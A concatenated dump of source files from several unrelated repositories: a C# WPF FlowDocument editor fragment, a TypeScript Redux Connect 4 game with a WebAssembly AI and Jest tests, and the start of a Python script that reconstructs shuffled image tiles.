SolidColorBrush(Color.FromRgb(248, 248, 255)), Name = "section" + i }; Button uiTorlesButton = new Button() { Width = 200, Content = "Törlés", Tag = sectionFromCode.Name }; uiTorlesButton.Click += deleteButton; uiMainWrapPanel.Children.Add(uiInnerWrapPanel1); uiMainWrapPanel.Children.Add(uiInnerWrapPanel2); uiMainWrapPanel.Children.Add(uiTorlesButton); sectionFromCode.Blocks.Add(uiContainer); uiFlowDocument.Blocks.Add(sectionFromCode); Ac4yClassDictionary.Add(sectionFromCode.Name, new Ac4yClass()); i++; } private void ButtonAction(object subject, RoutedEventArgs e) { uiListView.Items.Clear(); Ac4yClass ac4yClass = new Ac4yClass() { Name = uiTextBoxName.Text.ToString(), Ancestor = uiTextBoxAncestor.Text.ToString(), GUID = uiTextBoxGUID.Text.ToString(), Namespace = uiTextBoxNamespace.Text.ToString() }; uiListView.Items.Add(ac4yClass); foreach (var block in uiFlowDocument.Blocks) { foreach (var dictionary in Ac4yClassDictionary) { if (block.Name.Equals(dictionary.Key)) { Section sectionBlock = (Section)block; BlockUIContainer uiContainmer = (BlockUIContainer)sectionBlock.Blocks.FirstBlock; WrapPanel uiMainWrapPanel = (WrapPanel)uiContainmer.Child; UIElementCollection uiInnerWrapPanels = uiMainWrapPanel.Children; foreach(var uiInnerWrapPanel in uiInnerWrapPanels) { UIElementCollection uiWrapPanelElements = uiMainWrapPanel.Children; foreach(var element in uiWrapPanelElements) { if (element.GetType().Name.Equals("WrapPanel")) { WrapPanel wrapPanel = (WrapPanel)element; foreach(var elem in wrapPanel.Children) { if (elem.GetType().Name.Equals("TextBox")) { TextBox uiTextBox = (TextBox)elem; if (uiTextBox.Name.Equals("uiTextBoxName")) { dictionary.Value.Name = uiTextBox.Text; } else if (uiTextBox.Name.Equals("uiTextBoxAncestor")) { dictionary.Value.Ancestor = uiTextBox.Text; } else if (uiTextBox.Name.Equals("uiTextBoxGUID")) { dictionary.Value.GUID = uiTextBox.Text; } else if (uiTextBox.Name.Equals("uiTextBoxNamespace")) { dictionary.Value.Namespace = uiTextBox.Text; } } } } } } } } } foreach (var ac4y in Ac4yClassDictionary) { uiListView.Items.Add(ac4y.Value); } /* uiTextBoxName.Text = ""; uiTextBoxAncestor.Text = ""; uiTextBoxGUID.Text = ""; uiTextBoxNamespace.Text = ""; */ } private void deleteButton(object subject, RoutedEventArgs e) { var clickedButton = subject as Button; string sectionName = clickedButton.Tag.ToString(); List<Block> flowDocumentBlockList = uiFlowDocument.Blocks.ToList(); uiFlowDocument.Blocks.Clear(); foreach(var block in flowDocumentBlockList) { if (!block.Name.Equals(sectionName)) { uiFlowDocument.Blocks.Add(block); } } Ac4yClassDictionary.Remove(sectionName); } public class Person { public string name { get; set; } public string age { get; set; } } } }
31f278997e69690ddba2f2cf2dae1d7b867a2218
[ "C#" ]
1
C#
d7p4n4/CSFlowDocumentTry1
96b75eae450470c0ab157f12109ce3ba1c56ef86
d11e5dd446fa7fb455c4ead933d3e6ed1b086885
refs/heads/master
<file_sep>/* * Author - <NAME> */ import type { StartGameAction, PlayPieceAction, UpdateConfigAction, PlayerConfig, } from "./types"; import type { Player, BoardColumn } from "../types"; /** * Action causing the state of the game to reset, but not configuration. */ export const startGame = (): StartGameAction => ({ type: "START_GAME", }); /** * Action that adds a piece to the board and proceeds to the next turn. */ export const playPiece = (column: BoardColumn): PlayPieceAction => ({ type: "PLAY_PIECE", column, }); /** * Update game configuration. * @param redConfig Configuration for red player * @param yellowConfig Configuration for yellow player * @param startPlayer Player to start on the first turn */ export const updateConfig = ( players?: { red?: PlayerConfig; yellow?: PlayerConfig; }, startPlayer?: Player ): UpdateConfigAction => ({ type: "UPDATE_CONFIG", players, startPlayer, }); <file_sep>/* * Author - <NAME> */ export type Board = string; export type Player = "red" | "yellow"; export type BoardColumn = number; export type BoardRow = number; export type BoardSlotArray = Array<Array<Player | null>>; <file_sep>/* * Author - <NAME> */ import { createSelector } from "reselect"; import type { State } from "../types"; import type { BoardSlotArray } from "../connect4/types"; import { getBoardSlotArray } from "../connect4/boardUtil"; /** * Get the pieces in the board as an array of rows. * Each row is an array with an element for each column. Each element is the * player owning the piece at that position, or null if there is no piece. */ export const boardSlotArray: (state: State) => BoardSlotArray = createSelector( (state: State) => state.game.board, getBoardSlotArray ); <file_sep>/* * Author - <NAME> */ import { combineReducers } from "redux"; import { State, Action } from "./types"; import { gameInitialState, gameReducer } from "./game/reducer"; export const initialState: State = { game: gameInitialState }; export const rootReducer: (state: State | undefined, action: Action) => State = combineReducers({ game: gameReducer, }); <file_sep>/* * Author - <NAME> */ export * from "./game/actions"; <file_sep>/* * <NAME> - 2018-02-28 */ import { createStore, applyMiddleware } from "redux"; import { Store } from "redux"; import { rootReducer, initialState } from "./reducer"; import { State, Action } from "./types"; /** * Configure the Redux store with middleware and the root reducer. * @returns The Redux store */ const configureStore = (): Store<State, Action> => { const middleware = applyMiddleware(); const store = createStore(rootReducer, initialState, middleware); return store; }; export default configureStore; <file_sep>/* * Author - <NAME> */ import { Board, BoardColumn, Player } from "../connect4/types"; // General export type PlayerConfig = | { type: "human"; } | { type: "ai"; difficulty: number; }; // State export interface GameState { board: Board; currentPlayer: Player; gameOver: boolean; players: { [x in Player]: PlayerConfig; }; } // Actions export interface StartGameAction { type: "START_GAME"; } export interface PlayPieceAction { type: "PLAY_PIECE"; column: BoardColumn; } export interface UpdateConfigAction { type: "UPDATE_CONFIG"; players?: { red?: PlayerConfig; yellow?: PlayerConfig; }; startPlayer?: Player; } export type GameAction = StartGameAction | PlayPieceAction | UpdateConfigAction; <file_sep>/* * Author - <NAME> */ import type { Board, Player, BoardColumn } from "./types"; import { computeMove as _computeMove } from "./wasm"; /** * Use the AI to determine which column to play in. * * @param board String representing the board. * @param yellow The player to compute the move for. * @param difficulty Positive integer specifying difficulty for the AI. * @return The column to play in. */ export const computeMove = ( board: Board, player: Player, difficulty: number ): BoardColumn => { const yellow = player === "yellow"; return _computeMove(board, yellow, difficulty); }; <file_sep># Connect4App Connect 4 React application with AI. Uses [Connect 4 AI implemented in C++](https://github.com/danielmcmillan/Connect4AI) and compiled to WebAssembly using Emscripten. <file_sep>/* * Author - <NAME> */ import type { GameState, GameAction } from "./game/types"; /** * Type of the store's state. */ export interface State { game: GameState; } /** * Type matching any of the app's actions. */ export type Action = GameAction; /** * Type matching the type string for any action. */ export type ActionType = Action["type"]; // Export all types export * from "./game/types"; export * from "./connect4/types"; <file_sep>/* * Author - <NAME> */ export const COMICS_LOADED_TOGETHER = 10; <file_sep>/* * Author - <NAME> * Wraps functions from the connect4ai WASM module. */ const module = (window as any).Module; export const computeMove: (x: string, y: boolean, z: number) => number = module.cwrap("computeMove", "number", ["string", "boolean", "number"]); export const rowForMove: (x: string, y: number) => number = module.cwrap( "rowForMove", "number", ["string", "number"] ); export const winningPieces: (x: string, y: boolean) => string = module.cwrap( "winningPieces", "string", ["string", "boolean"] ); <file_sep>/* * Author - <NAME> */ import type { Board, Player, BoardColumn, BoardRow, BoardSlotArray, } from "./types"; import { rowForMove, winningPieces } from "./wasm"; const emptySlotChar = "."; const rowSeparatorChar = ","; const redChar = "r"; const yellowChar = "y"; type SlotItem = "." | "r" | "y"; export const boardWidth = 7; export const boardHeight = 6; /** * Get the index within a Board string for a slot at given row and column. */ const getBoardIndex = (row: BoardRow, col: BoardColumn): number => row * (boardWidth + 1) + col; /** * Get a new board with the character for specified slot changed. */ const setBoardItem = ( board: Board, row: BoardRow, col: BoardColumn, item: SlotItem ): Board => { const index = getBoardIndex(row, col); return board.substr(0, index) + item + board.substr(index + 1); }; /** * @return Empty Board. */ export const getEmptyBoard = (): Board => { const row = emptySlotChar.repeat(boardWidth); return (row + rowSeparatorChar).repeat(boardHeight - 1) + row; }; /** * Check whether it is possible to play into a column. * @param board Board to play piece into. * @param column Column to play into. * @return True if the column has a free spot, otherwise false. */ export const canPlayColumn = (board: Board, column: BoardColumn): boolean => { return rowForMove(board, column) < boardHeight; }; /** * Play into the specified column. * @param board Board to play piece into. * @param column Column to play into. * @param player Player owning the piece to be played. * @return A new board with the new piece played. */ export const playInColumn = ( board: Board, column: BoardColumn, player: Player ): Board => { const row = rowForMove(board, column); if (row >= 0 && row < boardHeight) { const slotItem: SlotItem = player === "red" ? redChar : yellowChar; return setBoardItem(board, row, column, slotItem); } return board; }; /** * Get a Board containing only pieces that are part of a winning connection. * @param board Board to check for winning pieces in. * @param player Player to check winning pieces for. * @return A new Board with winning pieces, or null if the player hasn't won. */ export const winningPiecesBoard = ( board: Board, player: Player ): Board | null => { const yellow = player === "yellow"; const winningBoard = winningPieces(board, yellow); if (winningBoard.length === 0) { return null; } return winningBoard; }; /** * Get the pieces in the board as an array of rows. * Each row is an array with an element for each column. Each element is the * player owning the piece at that position, or null if there is no piece. * @param board Board to check for winning pieces in. * @return Array of Array of (Player or null) */ export const getBoardSlotArray = (board: Board): BoardSlotArray => { const rows: Array<Array<Player | null>> = []; let i = 0; for (let row = 0; row < boardHeight; ++row) { rows[row] = []; for (let col = 0; col < boardWidth; ++col) { switch (board[i]) { case "r": rows[row].push("red"); break; case "y": rows[row].push("yellow"); break; default: rows[row].push(null); break; } ++i; } // Skip the row separator character ++i; } return rows; }; /** * Check whether the given board is full (no empty slots). * @param board Board to check for fullness. * @return True iff the board is full. */ export const isBoardFull = (board: Board): boolean => { return !board.includes("."); }; <file_sep>/* * Author - <NAME> */ jest.mock("./wasm", () => ({ rowForMove: jest.fn((board, column) => { if (column === 1) { return 0; } else if (column === 2) { return 6; } else { return 4; } }), winningPieces: jest.fn((board, yellow) => { if (yellow) { return ""; } else { return "..r....,...r...,....r..,.....r.,.......,......."; } }), })); import * as util from "./boardUtil"; test("empty board", () => { expect(util.getEmptyBoard()).toBe( ".......,.......,.......,.......,.......,......." ); }); test("canPlayColumn true when free row for column is valid", () => { expect(util.canPlayColumn("", 0)).toBeTruthy(); expect(util.canPlayColumn("", 1)).toBeTruthy(); }); test("canPlayColumn false when free row for column is invalid", () => { expect(util.canPlayColumn("", 2)).toBeFalsy(); }); test("playInColumn", () => { const board = "..r..y.,..r..y.,..r..y.,..r..y.,..r....,..r...."; expect(util.playInColumn(board, 1, "red")).toBe( ".rr..y.,..r..y.,..r..y.,..r..y.,..r....,..r...." ); expect(util.playInColumn(board, 1, "yellow")).toBe( ".yr..y.,..r..y.,..r..y.,..r..y.,..r....,..r...." ); expect(util.playInColumn(board, 5, "red")).toBe( "..r..y.,..r..y.,..r..y.,..r..y.,..r..r.,..r...." ); }); test("winningPiecesBoard", () => { expect(util.winningPiecesBoard("", "red")).toBe( "..r....,...r...,....r..,.....r.,.......,......." ); expect(util.winningPiecesBoard("", "yellow")).toBeNull(); }); test("getBoardSlotArray returns arrays will all elements null for empty board", () => { expect(util.getBoardSlotArray(util.getEmptyBoard())).toEqual([ [null, null, null, null, null, null, null], [null, null, null, null, null, null, null], [null, null, null, null, null, null, null], [null, null, null, null, null, null, null], [null, null, null, null, null, null, null], [null, null, null, null, null, null, null], ]); }); test("getBoardSlotArray returns arrays will all elements null for empty board", () => { expect( util.getBoardSlotArray(".r.....,.......,.......,.......,.......,.......") ).toEqual([ [null, "red", null, null, null, null, null], [null, null, null, null, null, null, null], [null, null, null, null, null, null, null], [null, null, null, null, null, null, null], [null, null, null, null, null, null, null], [null, null, null, null, null, null, null], ]); }); <file_sep>/* * Author - <NAME> */ import type { GameState } from "./types"; import type { Action } from "../types"; import * as util from "../connect4/boardUtil"; import { computeMove } from "../connect4/ai"; export const gameInitialState: GameState = { board: util.getEmptyBoard(), currentPlayer: "red", gameOver: true, players: { red: { type: "human" }, yellow: { type: "ai", difficulty: 2, }, }, }; /** * Update the state of the game to start a new turn. * Proceeds to the next turn if current player is AI. */ const startTurn = (state: GameState): GameState => { const playerConfig = state.players[state.currentPlayer]; if (playerConfig.type === "ai") { // AI Player const move = computeMove( state.board, state.currentPlayer, playerConfig.difficulty ); const board = move < 0 ? state.board // AI didn't find valid move : util.playInColumn(state.board, move, state.currentPlayer); return nextTurn({ ...state, board: board, }); } else { return state; } }; /** * Update the state of the game to proceed to the next player's turn. */ const nextTurn = (state: GameState): GameState => { const nextPlayer = state.currentPlayer === "red" ? "yellow" : "red"; const winningBoard = util.winningPiecesBoard( state.board, state.currentPlayer ); if (winningBoard == null) { if (util.isBoardFull(state.board)) { // Draw return { ...state, gameOver: true, }; } // Game not over yet, start next turn return startTurn({ ...state, currentPlayer: nextPlayer, }); } else { // Game over with a winner, show the winning pieces return { ...state, currentPlayer: nextPlayer, board: winningBoard, gameOver: true, }; } }; /** * Reducer for the Comics actions. */ export const gameReducer = ( state: GameState = gameInitialState, action: Action ): GameState => { switch (action.type) { case "START_GAME": return startTurn({ ...state, board: util.getEmptyBoard(), gameOver: false, }); case "PLAY_PIECE": if (state.gameOver) { return state; } if (util.canPlayColumn(state.board, action.column)) { return nextTurn({ ...state, board: util.playInColumn( state.board, action.column, state.currentPlayer ), }); } return state; case "UPDATE_CONFIG": return { ...state, currentPlayer: action.startPlayer || state.currentPlayer, players: { ...state.players, red: (action.players && action.players.red) || state.players.red, yellow: (action.players && action.players.yellow) || state.players.yellow, }, }; default: return state; } };
4cb011520c237ff60bc6311700492af2fc64f063
[ "Markdown", "TypeScript" ]
15
TypeScript
danielmcmillan/connect4app
d73fd705ef6736905353d588d18506a5a6df1e32
598c39d6ea74feb9ff31f7844add7098a163aa09
refs/heads/main
<file_sep>require 'rails_helper' describe 'As a visitor' do before(:each) do snape = Professor.create(name: '<NAME>', age: 45, specialty: 'Potions') hagarid = Professor.create(name: '<NAME>', age: 38, specialty: 'Care of Magical Creatures') lupin = Professor.create(name: '<NAME>', age: 49, specialty: 'Defense Against The Dark Arts') harry = Student.create(name: '<NAME>', age: 11, house: 'Gryffindor') malfoy = Student.create(name: '<NAME>', age: 12, house: 'Slytherin') longbottom = Student.create(name: '<NAME>', age: 11, house: 'Gryffindor') ProfessorStudent.create(student_id: harry.id, professor_id: snape.id) ProfessorStudent.create(student_id: harry.id, professor_id: hagarid.id) ProfessorStudent.create(student_id: harry.id, professor_id: lupin.id) ProfessorStudent.create(student_id: malfoy.id, professor_id: hagarid.id) ProfessorStudent.create(student_id: malfoy.id, professor_id: lupin.id) ProfessorStudent.create(student_id: longbottom.id, professor_id: snape.id) end describe 'When I visit /students' do it 'I see a list of students and the number of professors each has' do visit '/students' Student.all.each do |student| expect(page).to have_content(student.name) expect(page).to have_content(student.professors.count) end end end end <file_sep>require 'rails_helper' describe 'As a visitor' do before(:each) do snape = Professor.create(name: '<NAME>', age: 45, specialty: 'Potions') hagarid = Professor.create(name: '<NAME>', age: 38, specialty: 'Care of Magical Creatures') lupin = Professor.create(name: '<NAME>', age: 49, specialty: 'Defense Against The Dark Arts') harry = Student.create(name: '<NAME>', age: 11, house: 'Gryffindor') malfoy = Student.create(name: '<NAME>', age: 12, house: 'Slytherin') longbottom = Student.create(name: '<NAME>', age: 11, house: 'Gryffindor') ProfessorStudent.create(student_id: harry.id, professor_id: snape.id) ProfessorStudent.create(student_id: harry.id, professor_id: hagarid.id) ProfessorStudent.create(student_id: harry.id, professor_id: lupin.id) ProfessorStudent.create(student_id: malfoy.id, professor_id: hagarid.id) ProfessorStudent.create(student_id: malfoy.id, professor_id: lupin.id) ProfessorStudent.create(student_id: longbottom.id, professor_id: snape.id) end describe 'When I visit /professors' do it 'I see a list of professors with their name, age, and specialty' do visit '/professors' Professor.all.each do |professor| expect(page).to have_content(professor.name) expect(page).to have_content(professor.age.to_s) expect(page).to have_content(professor.specialty) end end end end
f27b3109e8ac5c6a27bcf975df08f1732e1a6537
[ "Ruby" ]
2
Ruby
RetynaGirl/hogwarts_mod2
0477ace859bd5222a412b9e52db745298748f6f6
0b49009b45b20f3dfb483a4f8bd5c6cebf784f08
refs/heads/master
<file_sep>import React, {Component} from 'react'; import Modal from '../../components/UI/Modal/Modal'; import Aux from '../Auxiliary/Auxiliary'; const withErrorHandler = (WrappedComponent, axios) => { return class extends Component { state = { error: null } // network errors are now handled with this error handler that can be used on any component that uses axios componentWillMount () { // componentDidMMount only works for errors in post requests // hooks or componentWillMount (no longer supported) work for all kinds of network requests this.reqInterceptor = axios.interceptors.request.use(req => { this.setState({error: null}); return req; }); this.resInterceptor = axios.interceptors.response.use(res => res, error => { this.setState({error: error}); }); } componentWillUnmount () { // executed when a component is no longer needed // cleans up interceptors when the component is no longer needed so it doesn't interfere with other functions/wrapped components in the app axios.interceptors.request.eject(this.reqInterceptor); axios.interceptors.response.eject(this.resInterceptor); } errorConfirmedHandler = () => { this.setState({error: null}); } render() { return ( <Aux> <Modal show={this.state.error} modalClosed={this.errorConfirmedHandler}> {this.state.error? this.state.error.message: null} </Modal> <WrappedComponent {...this.props} /> </Aux> ); } } } export default withErrorHandler;<file_sep># Build-A-Burger App ![Filled Burger](/src/assets/images/build-a-burger-4.png) * In this app users can create their own custom burgers and order them using a variety of methods. ![Burger Controls](/src/assets/images/build-a-burger-3.png) * Users can access their order history and edit it. ![Past Orders](/src/assets/images/build-a-burger-orders.png)<file_sep>import axios from 'axios'; import * as actionTypes from './actionTypes'; export const authStart = () => { return { type: actionTypes.AUTH_START }; }; export const authSuccess = (token, userId) => { return { type: actionTypes.AUTH_SUCCESS, idToken: token, userId: userId }; }; export const authFail = (error) => { return { type: actionTypes.AUTH_FAIL, error: error }; }; export const logout = () => { localStorage.removeItem('token'); localStorage.removeItem('expirationDate'); localStorage.removeItem('userId'); return { type: actionTypes.AUTH_LOGOUT }; }; export const checkAuthTimeout = (expirationTime) => { // expiration time is in seconds return dispatch => { setTimeout(() => { // setTimeout expects milliseconds dispatch(logout()); }, expirationTime * 1000); // changing seconds to milliseconds }; }; export const auth = (email, password, isSignup) => { return dispatch => { dispatch(authStart()); const authData = { email: email, password: <PASSWORD>, returnSecureToken: true }; // if sign up let url = 'https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=<KEY>'; if (!isSignup) { // if sign-in url = 'https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<KEY>'; } // email-pswd signup/signin on firebase axios.post(url, authData) .then(response => { const expirationDate = new Date(new Date().getTime() + response.data.expiresIn * 1000); // localStorage is built into javascript //we pass the key and the actual item as arguments localStorage.setItem('token', response.data.idToken); localStorage.setItem('expirationDate', expirationDate); localStorage.setItem('userId', response.data.localId); dispatch(authSuccess(response.data.idToken, response.data.localId)); dispatch(checkAuthTimeout(response.data.expiresIn)); }) .catch(err => { dispatch(authFail(err.response.data.error)); }); }; }; export const setAuthRedirectPath = (path) => { return { type: actionTypes.SET_AUTH_REDIRECT_PATH, path: path }; }; export const authCheckState = () => { return dispatch => { const token = localStorage.getItem('token'); if (!token) { dispatch(logout()); } else { // automatically log the user in with a valid token const expirationDate = new Date(localStorage.getItem('expirationDate')); // if the expiration time has passed logout if (expirationDate <= new Date()) { dispatch(logout()); } else { // if the expiration time has not passed the current time yet, login const userId = localStorage.getItem('userId'); dispatch(authSuccess(token, userId)); // says how many seconds left until expiration dispatch(checkAuthTimeout((expirationDate.getTime() - new Date().getTime()) /1000)); } } }; };<file_sep>import React from 'react'; import {configure, shallow} from 'enzyme'; import Adapter from 'enzyme-adapter-react-16'; import NavigationItems from './NavigationItems'; import NavigationItem from './NavigationItem/NavigationItem'; // connects our test with enzyme configure({adapter: new Adapter()}); // describe takes two arguments, a decription of the test and the test function describe('<NavigationItems />', () => { let wrapper; // beforeEach gets executed before wach test beforeEach(() => { // shallow renders only the tested component and placeholders for subcomponents, not the full subcomponents wrapper = shallow(<NavigationItems />); }); // it allows you to write one individual test // each test runs independent of the others it('should render two <NavigationItem /> elements if not authenticated', () => { // now we write our expectation from this test expect(wrapper.find(NavigationItem)).toHaveLength(2); // we want to find 2 NavigationItem subcomponents }); it('should render three <NavigationItem /> elements if authenticated', () => { //wrapper = shallow(<NavigationItems isAuthenticated />); wrapper.setProps({isAuthenticated: true}); // now we write our expectation from this test expect(wrapper.find(NavigationItem)).toHaveLength(3); // we want to find 3 NavigationItem subcomponents }); it('should an exact logout button', () => { wrapper.setProps({isAuthenticated: true}); // now we write our expectation from this test expect(wrapper.contains(<NavigationItem link="/logout">Log Out</NavigationItem>)).toEqual(true); // we want to find the Log Out NavigationItem subcomponent }); });
454ea6b947bc1d97afb9c9d8e15eca762f1493c1
[ "JavaScript", "Markdown" ]
4
JavaScript
bioprogram1316/Build-A-Burger-App
9acb2d7fb9816858aa1d244293a18b0e7d261ecb
86adcf903e4ab811d20a1d7024303e1f65dcc35a
refs/heads/master
<file_sep>package com.acrylic.universalloot.pseudoloot; import com.acrylic.universal.gui.PrivateGUIBuilder; import com.acrylic.universalloot.GUILoot; import org.bukkit.entity.Player; import org.jetbrains.annotations.NotNull; public interface GUIPseudoLoot<T extends GUILoot> extends PseudoLoot<T> { @NotNull PrivateGUIBuilder getGUI(); default void open(@NotNull Player player) { getGUI().open(player); } } <file_sep>package com.acrylic.candy; import com.acrylic.universalloot.GUILoot; import com.acrylic.universalloot.loottable.SimpleLootTable; import com.acrylic.universalloot.preview.LootPreview; import com.acrylic.universalloot.preview.SimpleLootPreview; import org.bukkit.inventory.ItemStack; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; public class CandyLootCrate implements GUILoot { private final CandyCrateOpener opener = new CandyCrateOpener(this); private final SimpleLootTable lootTable = new SimpleLootTable(); private final String name; private final ItemStack display; private int amountOfItems = 1; public CandyLootCrate(@NotNull String name, @NotNull ItemStack display) { this.name = name; this.display = display; } @Override public ItemStack getDisplayItem() { return display; } @NotNull @Override public SimpleLootTable getLootTable() { return lootTable; } @NotNull @Override public CandyCrateOpener getLootOpener() { return opener; } @Nullable @Override public LootPreview getPreview() { return SimpleLootPreview.COMMON_INSTANCE; } @NotNull @Override public String getName() { return name; } public void setAmountOfItems(int amountOfItems) { this.amountOfItems = amountOfItems; } @Override public int getAmountOfRewards() { return amountOfItems; } } <file_sep>package com.acrylic.candy; import com.acrylic.version_1_8.entityanimator.NMSArmorStandAnimator; import org.bukkit.Location; import org.bukkit.entity.Player; import org.jetbrains.annotations.NotNull; public class CandyCrateAnimation_1_8 extends CandyCrateAnimation { public CandyCrateAnimation_1_8(@NotNull CandyCrateProcess candyCrateProcess, @NotNull Location location, @NotNull Player player) { super(candyCrateProcess, new NMSArmorStandAnimator(location), player); } } <file_sep>package com.acrylic.candy; import com.acrylic.universal.animations.Animation; import com.acrylic.universalloot.Loot; import com.acrylic.universalloot.lootitem.LootItem; import com.acrylic.universalloot.lootopener.LootProcess; import org.bukkit.entity.Player; import org.bukkit.inventory.ItemStack; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; import java.util.ArrayList; import java.util.List; public class CandyCrateProcess implements LootProcess { private final Player player; private final Loot loot; private final List<ItemStack> rewards; private final CandyCrateAnimation candyCrateAnimation; public CandyCrateProcess(@NotNull Player player, @NotNull Loot loot) { this.player = player; this.loot = loot; this.candyCrateAnimation = new CandyCrateAnimation_1_8(this, player.getLocation(), player); this.rewards = new ArrayList<>(); for (LootItem lootItem : loot.getLootTable().generateRewards(loot.getAmountOfRewards())) this.rewards.add(lootItem.getItem()); } @NotNull @Override public List<ItemStack> getRewards() { return rewards; } @NotNull @Override public Player getPlayer() { return player; } @Nullable @Override public Animation getAnimation() { return candyCrateAnimation; } @NotNull @Override public Loot getLoot() { return loot; } } <file_sep>package com.acrylic.candy; import com.acrylic.universalloot.lootitem.SimpleLootItem; import org.bukkit.inventory.ItemStack; public class CandyLootItem extends SimpleLootItem { public CandyLootItem(float weight, ItemStack item) { super(weight, item); } } <file_sep>package com.acrylic.candy; import com.acrylic.universal.renderer.PacketRenderer; import com.acrylic.version_1_8.entityanimator.NMSArmorStandAnimator; import org.bukkit.Location; import org.bukkit.inventory.ItemStack; import org.jetbrains.annotations.NotNull; public class CandyAnimation_1_8 extends CandyAnimation { public CandyAnimation_1_8(@NotNull PacketRenderer packetRenderer, @NotNull Location location, int lastingIndex, float minDistance, float maxDistance) { super(packetRenderer, new NMSArmorStandAnimator(location), lastingIndex, minDistance, maxDistance); } public CandyAnimation_1_8(@NotNull PacketRenderer packetRenderer,@NotNull Location location, @NotNull ItemStack item, int lastingIndex, float minDistance, float maxDistance) { super(packetRenderer, new NMSArmorStandAnimator(location), item, lastingIndex, minDistance, maxDistance); } } <file_sep>package com.acrylic.universalloot.condensedcrate; import com.acrylic.universal.gui.PrivateGUIBuilder; import com.acrylic.universal.gui.buttons.Button; import com.acrylic.universalloot.GUILoot; import com.acrylic.universalloot.Loot; import com.acrylic.universalloot.preview.LootPreview; import com.acrylic.universalloot.pseudoloot.GUIPseudoLoot; import org.bukkit.Bukkit; import org.bukkit.entity.Player; import org.bukkit.event.inventory.ClickType; import org.bukkit.inventory.ItemStack; import org.jetbrains.annotations.NotNull; import java.util.ArrayList; import java.util.List; public class CondensedCrate<T extends GUILoot> implements GUIPseudoLoot<T> { private final List<T> loot = new ArrayList<>(); private final PrivateGUIBuilder gui; public CondensedCrate(@NotNull PrivateGUIBuilder gui) { this.gui = gui; } public void addMenuRefToPreview(@NotNull Loot loot, @NotNull ItemStack item, int slot) { LootPreview lootPreview = loot.getPreview(); if (lootPreview != null) addMenuRefToPreview(lootPreview, item, slot); } /** * Adds a button of item, item in slot, slot to the loot preview, lootPreview. * * @param lootPreview THe preview you want to add the button to. * @param item The display item. * @param slot The slot. */ public void addMenuRefToPreview(@NotNull LootPreview lootPreview, @NotNull ItemStack item, int slot) { lootPreview.getGUI().getButtons() .addItem(new Button(slot, item, (itemStack, inventoryClickEvent, abstractGUIBuilder) -> { Player player = (Player) inventoryClickEvent.getView().getPlayer(); open(player); })); } public void addLootButton(@NotNull T loot, int slot) { gui.getButtons() .addItem(new Button(slot, loot.getDisplayItem(), (itemStack, inventoryClickEvent, abstractGUIBuilder) -> { Player player = (Player) inventoryClickEvent.getView().getPlayer(); if (inventoryClickEvent.getClick().equals(ClickType.RIGHT) && loot.openPreview(player)) return; loot.getLootOpener().open(player); })); } public void addLootAndButton(@NotNull T loot, int slot) { addLoot(loot); addLootButton(loot, slot); } @NotNull @Override public PrivateGUIBuilder getGUI() { return gui; } @Override public List<T> getLoots() { return loot; } } <file_sep>package com.acrylic.universalloot.animationframes; import com.acrylic.universal.animations.IndexedAnimation; import org.jetbrains.annotations.NotNull; import java.util.ArrayList; import java.util.List; /** * @param <T> The animation. * @deprecated This will be moved to the AcrylicMinecraftLib in * the future. */ @Deprecated public final class AnimationFrames<T extends IndexedAnimation> { private final List<AnimationFrame<T>> animationFrames = new ArrayList<>(); public AnimationFrames<T> addFrame(@NotNull AnimationFrame<T> frame) { this.animationFrames.add(frame); return this; } @NotNull public List<AnimationFrame<T>> getAnimationFrames() { return animationFrames; } public void handle(@NotNull T animation) { int index = animation.getIndex(); for (AnimationFrame<T> animationFrame : animationFrames) { if (animationFrame.getInitialIndex() < index && animationFrame.getMaxIndex() >= index) animationFrame.getAction().applyTo(animation, animationFrame); } } }
84dd3d30b27168f8a1d2e2dbd711bf68f14912ea
[ "Java" ]
8
Java
Acrylic125/AcrylicLootSystem
8d04cec295a996730a1c90c9791bee7d9ffab7a2
ad2f566f50c3c9c013d412af683e1c6875e63cb2
refs/heads/master
<file_sep># Huawei_Honor_Cup_华为 <b>Problem:</b> <br> An image was divided into a grid of <b>m</b>x<b>m</b> squares and shuffled. Reconstruct the original image <b>Solution approach:</b> <br> For each square block in the shuffled image, calculate the root squared difference between it's borders and all the other blocks borders, considering the 4 possible directions: <p>left-right</p> <p>bottom-up</p> <p>right-left</p> <p>top-down</p> <p>Build a graph using the blocks as nodes and these differences as weights.</p> <p>Get the Minimum Spanning Tree to represent the image.</p> <b>Examples:</b> <div> <img src="img/6_shuffled.png" width="33.4%"> <img src="img/6_reconstructed.jpeg" width="33.4%"> </div> <div> <img src="img/10_shuffled.png" width="33.4%"> <img src="img/10_reconstructed.jpeg" width="33.4%"> </div> <div> <img src="img/5_shuffled.png" width="33.4%"> <img src="img/5_reconstructed.jpeg" width="33.4%"> </div> <div> <img src="img/1_shuffled.png" width="33.4%"> <img src="img/1_reconstructed.jpeg" width="33.4%"> </div> <div> <img src="img/8_shuffled.png" width="33.4%"> <img src="img/8_reconstructed.jpeg" width="33.4%"> </div> <br> <p>To improve the accuracy rate, post processing might be required.</p> <file_sep>import numpy as np from PIL import Image from math import inf class neighbor: def __init__(self, l, d, r, u, l_cost, d_cost, r_cost, u_cost): self.left = l self.down = d self.right = r self.up = u self.l_cost = inf self.d_cost = inf self.r_cost = inf self.u_cost = inf def cmp_left(a, b, p): ans = 0 for i in range(p): for j in range(3): curr_a = a[i][0][j] curr_b = b[i][p - 1][j] if curr_a > curr_b: ans += (curr_a - curr_b)**2 else: ans += (curr_b - curr_a)**2 return ans def cmp_down(a, b, p): ans = 0 for i in range(p): for j in range(3): curr_a = a[p - 1][i][j] curr_b = b[0][i][j] if curr_a > curr_b: ans += (curr_a - curr_b)**2 else: ans += (curr_b - curr_a)**2 return ans def cmp_right(a, b, p): ans = 0 for i in range(p): for j in range(3): curr_a = a[i][p - 1][j] curr_b = b[i][0][j] if curr_a > curr_b: ans += (curr_a - curr_b)**2 else: ans += (curr_b - curr_a)**2 return ans def cmp_up(a, b, p): ans = 0 for i in range(p): for j in range(3): curr_a = a[0][i][j] curr_b = b[p - 1][i][j] if curr_a > curr_b: ans += (curr_a - curr_b)**2 else: ans += (curr_b - curr_a)**2 return ans def expand(grid, index, last, hor, ver, m, p, x): line = [None] * m _i = last[0] _j = last[1] curr = [_i, _j] j = _j for i in range(_i, _i + m * ver, ver): line[i - _i] = curr index[i][j] = (curr[0], curr[1]) grid[p*i:p*(i+1), 